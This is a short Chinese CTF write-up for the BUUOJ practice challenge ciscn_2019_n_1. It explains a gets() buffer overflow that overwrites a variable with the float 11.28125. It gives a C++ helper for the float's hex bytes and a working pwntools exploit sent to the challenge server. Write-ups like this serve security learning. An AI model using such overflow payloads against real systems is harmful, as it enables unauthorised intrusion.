首页 > 其他 > 详细

buuoj ciscn_2019_n_1

时间:2021-04-11 10:38:29      阅读:32      评论:0      收藏:0      [点我收藏+]

放进IDA,看到有直接catflag的指令,但是要求v2为定值
技术分享图片
因为getsv1,所以考虑让v1溢出填充v2的值
看一下这个float在内存中的十六进制(我不知道为啥是unsignedchar,char就不行)

#include<iostream>
#include<cstdio>
#include<iomanip>
using namespace std;
int main()
{
    float a=11.28125;
    unsigned char *p=(unsigned char*)&a;
    cout<<"0x"<<setfill(‘0‘)<<hex<<setw(2)<<(int)*(p+3)<<setw(2)<<(int)*(p+2)<<setw(2)<<(int)*(p+1)<<setw(2)<<(int)*(p+0)<<endl;
    return 0;
}

然后就可以写exp了

from pwn import *

p=remote(‘node3.buuoj.cn‘,29693)
payload=‘a‘*(0x30-4)+p32(0x41348000)
p.sendline(payload)
p.interactive()

buuoj ciscn_2019_n_1

原文:https://www.cnblogs.com/diakla/p/14642764.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!